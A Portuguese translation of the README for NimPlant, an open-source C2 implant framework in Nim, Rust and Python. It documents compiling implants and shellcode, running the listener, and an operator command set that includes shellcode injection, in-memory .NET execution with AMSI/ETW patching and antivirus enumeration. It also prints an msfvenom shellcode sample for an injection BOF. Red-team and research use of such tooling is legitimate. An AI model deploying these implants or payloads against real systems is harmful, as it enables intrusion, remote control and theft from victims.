
Um implante C2 de primeiro estágio leve escrito em Nim (e Rust).
Por Cas van Cooten (@chvancooten), com agradecimentos especiais a algumas pessoas incríveis:
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), e muitos outros!
Se o NimPlant foi útil para você e/ou você gosta do meu trabalho em geral, seu apoio é muito bem-vindo:
inline-execute, shinject (usando invocação dinâmica), powershell em um runspace personalizado ou execute-assembly em threadUma versão moderna do Python3 é necessária para executar o Nimplant.
requirements.txt da pasta do servidor (pip3 install -r server/requirements.txt).choosenim, pois apt nem sempre tem a versão mais recente).cd client; nimble install -d).mingw para sua plataforma (brew install mingw-w64 ou apt install mingw-w64).rustup).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml conforme Cargo.toml e use a cadeia de build nightly (rustup default nightly).Nota: Mesmo compilando no Windows, o target
x86_64-pc-windows-gnué recomendado. Ele resulta em binários ligeiramente maiores, mas parece ser mais estável quando o shellcode é gerado a partir da DLL resultante. Você pode modificar orust-toolchain.tomlpara alterar o target parax86_64-pc-windows-msvc, mas o shellcode gerado pode não funcionar corretamente em todos os casos.
Antes de usar o NimPlant, crie o arquivo de configuração config.toml. Recomenda-se copiar o config.toml.example e trabalhar a partir dele.
Uma visão geral das configurações é fornecida abaixo.
Uma vez que a configuração esteja ao seu gosto, você pode gerar binários NimPlant para implantar no seu alvo. Atualmente, o NimPlant suporta binários .exe, .dll e .bin para executáveis (auto-excluíveis), bibliotecas e shellcode independente de posição (via sRDI), respectivamente. Para gerar, execute python nimplant.py compile seguido pelos binários de sua preferência (exe, exe-selfdelete, dll, raw ou all) e, opcionalmente, o tipo de implante (nim, rust, nim-debug ou rust-debug - compilará Nim por padrão). Os arquivos serão gravados em client/bin/ ou , respectivamente.
Você pode passar o argumento rotatekey para gerar e usar uma nova chave XOR durante a compilação.
Notas:
O NimPlant suporta apenas x64 no momento!
O ponto de entrada para arquivos DLL é Update, que é acionado pelo DllMain para todos os pontos de entrada. Isso significa que você pode usar, por exemplo, rundll32 .\NimPlant.dll,Update para acionar, ou usar seu LOLBIN de escolha para sideload (pode precisar de algumas modificações em client/NimPlant.nim ou client-rs/src/lib.rs)```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Compilação com Docker
Usar Docker é fácil e evita problemas de dependência, pois todas as dependências necessárias em tempo de compilação e execução estão pré-instaladas no contêiner.
Para usar Docker, você pode usar o contêiner público `chvancooten/nimplant` do [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (construído via CI/CD), ou compilar o `Dockerfile` a partir do código-fonte.
> Para compilar a partir do código-fonte, execute o seguinte a partir do diretório principal:
>
> ```bash
> docker build . -t nimplant
> ```
Isso construirá um contêiner com a tag `nimplant:latest`. Nota: isso pode levar algum tempo e produzir um contêiner considerável devido às dependências de desenvolvimento!
Depois de feito, você pode executar o contêiner a partir da linha de comando para compilar seus artefatos.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Nota: Este é um exemplo de comando, certifique-se de ajustar argumentos como os volumes montados para sua situação.
Assim que seus binários estiverem prontos, você pode iniciar seu servidor NimPlant! Se você compilou localmente, nenhuma configuração adicional é necessária, pois ele lê do mesmo arquivo config.toml. Para iniciar um servidor, simplesmente execute python nimplant.py server (com privilégios sudo se estiver no Linux). Você pode usar o console assim que um Nimplant fizer check-in, ou acessar a interface web em http://localhost:31337 (por padrão).
Notas:
Se você estiver executando seu servidor NimPlant externamente da máquina onde os binários são compilados, certifique-se de que tanto config.toml quanto .xorkey correspondam. Caso contrário, o NimPlant não conseguirá se conectar.
O frontend web ou a API não suportam autenticação, portanto NÃO exponha a porta do frontend a redes não confiáveis sem um proxy reverso seguro!
Se o NimPlant não conseguir conectar a um servidor ou perder a conexão, ele tentará novamente 5 vezes com um tempo de backoff exponencial antes de tentar o re-registro. Se falhar ao registrar mais 5 vezes (mesma lógica de backoff), ele se autodestruirá. O backoff triplica o tempo de espera a cada tentativa falha. Por exemplo, se o tempo de espera for de 10 segundos, ele aguardará 10, depois 30 (3^1 * 10), depois 90 (3^2 * 10), depois 270 (3^3 * 10), depois 810 segundos antes de desistir (esses parâmetros são codificados, mas podem ser alterados em client/NimPlant.nim).
Os logs são armazenados no diretório server/logs. Cada instância do servidor cria uma nova pasta de logs, e os logs são divididos por sessão de console/nimplant. Downloads e uploads (incluindo arquivos enviados via interface web) são armazenados nos diretórios server/uploads e server/downloads, respectivamente.
Detalhes do Nimplant e do servidor são armazenados em um banco de dados SQLite em server/nimplant.db. Esses dados também são usados para recuperar Nimplants após uma reinicialização do servidor.
Logs, arquivos enviados/baixados e o banco de dados podem ser limpos executando com a flag . Cuidado: Isso irá purgar tudo, então certifique-se de fazer backup do que precisar primeiro!``` PS C:\NimPlant> python .\nimplant.py server
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Isso iniciará tanto a API C2 quanto o servidor web de gerenciamento (no exemplo acima em `http://127.0.0.1:31337`) e o ouvinte NimPlant (no exemplo acima em `https://0.0.0.0:443`). Assim que um NimPlant fizer check-in, você pode usar tanto a interface web quanto o console para enviar comandos ao NimPlant.
### Iniciando o Servidor com Docker
O mesmo contêiner `chvancooten/nimplant` que pode ser usado para compilação também pode ser usado para executar o servidor NimPlant. Para que o NimPlant reconheça o servidor, os arquivos `config.toml` e `.xorkey` precisam corresponder à máquina onde o NimPlant foi compilado (isso está automaticamente correto se você usou o mesmo contêiner Docker para compilação). Além disso, o arquivo `config.toml` precisa estar configurado corretamente para o docker, principalmente o IP do servidor de gerenciamento deve ser definido como `0.0.0.0` para alcançá-lo via Docker (certifique-se de expô-lo apenas na interface local do seu host).
Você pode iniciar um servidor NimPlant com o comando de exemplo abaixo:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Nota: Este é um comando de exemplo, certifique-se de ajustar argumentos como os volumes montados à sua situação.
Usar Docker permite configurar facilmente configurações mais complexas. Como exemplo, o diretório docker-example contém um arquivo docker-compose.yml que mostra como expor o NimPlant por trás de um redirecionador Nginx usando HTTPS e uma página de destino fictícia.
Os comandos disponíveis são os seguintes. Você pode obter ajuda detalhada para qualquer comando digitando help [command]. Certos comandos indicados com (GUI) podem ser configurados graficamente ao usar a interface web; isso pode ser feito chamando o comando sem argumentos.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### Usando Arquivos de Objeto Beacon (BOFs)
**NOTA: BOFs são voláteis por natureza, e executar um BOF defeituoso ou passar argumentos ou tipos errados pode travar sua sessão do NimPlant! Certifique-se de testar os BOFs antes de implantá-los!**
O NimPlant suporta o carregamento em memória de BOFs graças aos ótimos projetos [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) e [Coffee](https://github.com/hakaioffsec/coffee) (Rust). Executar um bof requer um arquivo de objeto BOF compilado localmente (geralmente chamado algo como `bofname.x64.o`), um ponto de entrada (comumente `go`) e uma lista de argumentos com seus respectivos tipos. Os argumentos são passados como um par `arg argtype` separado por espaço.
Os argumentos são fornecidos de acordo com o formato "Zzsib", então podem ser `string` (alias: `z`), `wstring` (ou `Z`), `integer` (aliases: `int` ou `i`), `short` (`s`) ou `binary` (`bin` ou `b`). Argumentos binários podem ser uma string binária bruta ou codificados em base64, sendo que o último é recomendado para evitar caracteres ruins.
Alguns exemplos de uso (usando os magníficos BOFs da TrustedSec [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] como exemplo) são fornecidos abaixo. Note que `inline-execute` (sem argumentos) pode ser usado para configurar o comando graficamente na GUI.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
Por padrão, o NimPlant suporta notificações push através do hook notify_user() definido em server/util/notify.py. Por padrão, ele implementa uma notificação simples do Telegram que requer que as variáveis de ambiente TELEGRAM_CHAT_ID e TELEGRAM_BOT_TOKEN sejam definidas antes de ser acionado. Claro, o código pode ser facilmente estendido com a funcionalidade de notificação push própria. O hook notify_user() é chamado quando um novo NimPlant faz check-in, e recebe um objeto com detalhes do NimPlant, que pode então ser enviado conforme desejado.
Como usuário normal, você não precisa modificar ou reconstruir a UI que vem com o Nimplant. No entanto, se desejar fazer alterações, instale o NodeJS e execute npm install no diretório ui. Em seguida, execute ui/build-ui.py. Isso cuidará de baixar os pacotes, compilar o frontend Next.JS e colocar os arquivos no local correto para o servidor Nimplant usá-los.
O NimPlant foi desenvolvido como um projeto de aprendizado e lançado ao público para transparência e fins educacionais. A evasão de antivírus ou EDR não é um objetivo para os implants prontos para uso. Em grande parte, o NimPlant não faz esforço para esconder suas intenções. Além disso, proteções foram implementadas para prevenir abusos. Em outras palavras, NÃO use o NimPlant em operações de produção como está, sem uma revisão completa do código-fonte e modificações! Lembre-se também que, como em qualquer framework C2, a impressão digital OPSEC de executar certos comandos deve ser considerada antes da implantação. O NimPlant pode ser compilado sem comandos arriscados de OPSEC definindo riskyMode como false no config.toml.
Existem muitas razões pelas quais o Nimplant pode falhar ao compilar ou executar. Se você encontrar problemas, tente o seguinte (em ordem):
server/logs para quaisquer errosnim-debug ou rust-debug para compilar com mensagens de console e depuração (apenas .exe) para ver se alguma mensagem de erro é retornada| Categoria | Configuração | Descrição |
|---|
| server | ip | O IP que o servidor web C2 (incluindo API) irá escutar. Recomenda-se usar 127.0.0.1, use 0.0.0.0 apenas quando você tiver configurado regras de firewall ou roteamento adequadas para proteger o C2. |
| server | port | A porta que o servidor web C2 (incluindo API) irá escutar. |
| listener | type | O tipo de listener, HTTP ou HTTPS. Opções HTTPS configuradas abaixo. |
| listener | sslCertPath | O caminho local para um arquivo de certificado HTTPS (por exemplo, solicitado via LetsEncrypt CertBot ou autoassinado). Ignorado quando o tipo de listener é 'HTTP'. |
| listener | sslKeyPath | O caminho local para o arquivo de chave privada do certificado HTTPS correspondente. A senha será solicitada ao executar o servidor NimPlant se definida. Ignorado quando o tipo de listener é 'HTTP'. |
| listener | hostname | O hostname do listener. Se não estiver vazio (""), o NimPlant usará este hostname para conectar. Certifique-se de estar roteando corretamente o tráfego deste host para a porta do listener do NimPlant. |
| listener | ip | O IP do listener. Necessário mesmo se 'hostname' estiver definido, pois é usado pelo servidor para registrar neste IP. |
| listener | port | A porta do listener. Necessária mesmo se 'hostname' estiver definido, pois é usada pelo servidor para registrar nesta porta. |
| listener | registerPath | O caminho URI com o qual novos NimPlants se registrarão. |
| listener | taskPath | O caminho URI do qual NimPlants obterão tarefas. |
| listener | resultPath | O caminho URI para o qual NimPlants enviarão resultados. |
| nimplant | riskyMode | Compile o NimPlant com suporte para comandos arriscados. Discrição do operador aconselhada. Desabilitar removerá o suporte para execute-assembly, powershell, shell e shinject. |
| nimplant | sleepMask | Se deve ou não usar a máscara de sleep Ekko em vez de chamadas de sleep regulares para os Nimplants. Funciona apenas com executáveis regulares por enquanto! |
| nimplant | sleepTime | O tempo de sleep padrão em segundos para novos NimPlants. |
| nimplant | sleepJitter | O jitter padrão em porcentagem para novos NimPlants. |
| nimplant | killDate | A data de kill para Nimplants (formato: yyyy-MM-dd). Os Nimplants serão encerrados se esta data já tiver passado. |
| nimplant | userAgent | O user-agent usado pelos NimPlants. O servidor também usa isso para validar o tráfego do NimPlant, portanto, é recomendável escolher um UA que seja discreto, mas não muito prevalente. |
client-rs/bin/nimplant.pycleanup * *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)